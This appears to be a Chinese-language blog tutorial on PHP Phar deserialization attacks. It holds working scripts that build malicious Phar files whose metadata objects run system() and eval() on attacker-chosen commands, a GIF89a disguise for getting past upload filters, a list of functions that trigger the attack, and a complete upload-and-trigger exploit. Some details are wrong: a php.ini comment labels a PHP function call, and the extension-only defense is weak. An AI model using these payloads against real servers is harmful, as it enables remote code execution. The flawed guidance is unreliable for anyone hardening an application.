PHP 怎么PHP Phar 反序列化

wen PHP项目 3

PHP Phar 反序列化详解

Phar 反序列化是 PHP 中一个重要的安全漏洞,主要利用了 Phar 文件的元数据序列化机制。

PHP 怎么PHP Phar 反序列化

基本原理

Phar 文件在读取时会自动反序列化其元数据(metadata),而无需使用 unserialize() 函数,当使用 phar:// 协议访问 Phar 文件时,PHP 会自动反序列化存储在 Phar 中的 metadata

// 触发点:任何可以处理 phar:// 协议的函数
file_exists('phar://test.phar');
is_dir('phar://test.phar');
file_get_contents('phar://test.phar');
include('phar://test.phar');

生成恶意 Phar 文件

<?php
class EvilClass {
    public $cmd;
    public function __destruct() {
        system($this->cmd);
    }
}
// 创建 Phar 对象
$phar = new Phar('malicious.phar');
$phar->startBuffering();
// 设置 stub(必需)
$phar->setStub('<?php __HALT_COMPILER(); ?>');
// 添加文件到 phar
$phar->addFromString('test.txt', 'test');
// 设置元数据(包含我们的恶意对象)
$phar->setMetadata(new EvilClass());
$phar->stopBuffering();
// 设置命令
$evil = new EvilClass();
$evil->cmd = 'id';
$phar->setMetadata($evil);
$phar->stopBuffering();

触发反序列化的常见函数

// 文件系统函数
file_exists()
file_get_contents()  
file_put_contents()
file()
fileatime()
filectime()
filemtime()
fileinode()
fileowner()
fileperms()
filesize()
filetype()
is_dir()
is_executable()
is_file()
is_link()
is_readable()
is_writable()
is_writeable()
stat()
lstat()
touch()
// 其他函数
include()
include_once()
require()
require_once()
getimagesize()
unlink()
md5_file()
sha1_file()
readfile()
fopen()
finfo_open()

绕过限制的技巧

修改文件头

$phar->setStub('GIF89a<?php __HALT_COMPILER();?>');

压缩算法绕过

$phar->compress(Phar::GZ); // gzip 压缩
$phar->compress(Phar::BZ2); // bzip2 压缩

文件签名

$phar->setSignatureAlgorithm(Phar::MD5);
// 或
$phar->setSignatureAlgorithm(Phar::SHA1);

完整攻击示例

// 1. 生成恶意 Phar 文件
class Vulnerable {
    public $data;
    public function __wakeup() {
        eval($this->data);
    }
}
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->addFromString('test.txt', 'test');
$obj = new Vulnerable();
$obj->data = 'echo "PWNED!"; system("id");';
$phar->setMetadata($obj);
$phar->stopBuffering();
// 2. 触发反序列化
// 假设有上传功能可以上传 .phar 文件或修改文件扩展名
// 然后通过文件函数触发
file_exists('phar://uploads/exploit.phar');

防御措施

  1. 禁用 phar:// 协议

    // php.ini
    stream_wrapper_unregister('phar');
  2. 验证文件扩展名

    if (pathinfo($filename, PATHINFO_EXTENSION) === 'phar') {
     die('Phar files not allowed');
    }
  3. 使用白名单验证

    $allowed_extensions = ['jpg', 'png', 'gif', 'pdf'];
    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    if (!in_array(strtolower($ext), $allowed_extensions)) {
     die('Invalid file type');
    }
  4. 检查文件内容

    $content = file_get_contents($filename);
    if (strpos($content, '__HALT_COMPILER()') !== false) {
     die('Phar file detected');
    }

注意事项

  • 需要安装 phar 扩展才能生成 Phar 文件
  • php.ini 中设置 phar.readonly = Off 才能生成 Phar 文件
  • 攻击可能需要文件上传功能配合
  • 某些 PHP 版本可能有不同的行为

这个漏洞展示了为什么不应该信任用户输入,以及在处理文件时验证的重要性。

抱歉,评论功能暂时关闭!